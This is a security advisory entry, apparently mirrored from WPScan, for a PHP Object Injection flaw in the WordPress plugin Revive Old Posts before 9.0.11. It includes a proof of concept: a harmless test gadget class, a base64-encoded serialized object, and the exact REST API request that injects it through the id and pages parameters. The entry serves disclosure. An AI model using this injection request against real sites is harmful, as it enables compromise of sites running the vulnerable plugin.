Lucene search

K
wpvulndbNguyen Huu DoWPVDB-ID:F4197386-975D-4E53-8FC9-9425732DA9AF
HistoryJan 04, 2023 - 12:00 a.m.

Revive Old Posts – Social Media Auto Post and Scheduling Plugin < 9.0.11 - PHP Object Injection

2023-01-0400:00:00
Nguyen Huu Do
wpscan.com
7
revive old posts
social media
auto post
scheduling plugin
php object injection
high privilege users
admin
gadget chain
plugin vulnerability
deserialization
base64
poc
security issue
software vulnerability

0.001 Low

EPSS

Percentile

36.7%

The plugin unserializes user input provided via the settings, which could allow high privilege users such as admin to perform PHP Object Injection when a suitable gadget is present.

PoC

To simulate a gadget chain, put the following code in a plugin: class Evil { public function __wakeup() : void { die(“Arbitrary deserialization”); } } Use the add account function, intercept it and add or replace the id or pages parameter to Tzo0OiJFdmlsIjowOnt9Ow== (which is the base64 of O:4:“Evil”:0:{};): POST /wp-json/tweet-old-post/v8/api/?req=add_account_fb HTTP/1.1 {“id”:“Tzo0OiJFdmlsIjowOnt9Ow==”,“pages”:[“Tzo0OiJFdmlsIjowOnt9Ow==”]}

CPENameOperatorVersion
tweet-old-postlt9.0.11

0.001 Low

EPSS

Percentile

36.7%

Related for WPVDB-ID:F4197386-975D-4E53-8FC9-9425732DA9AF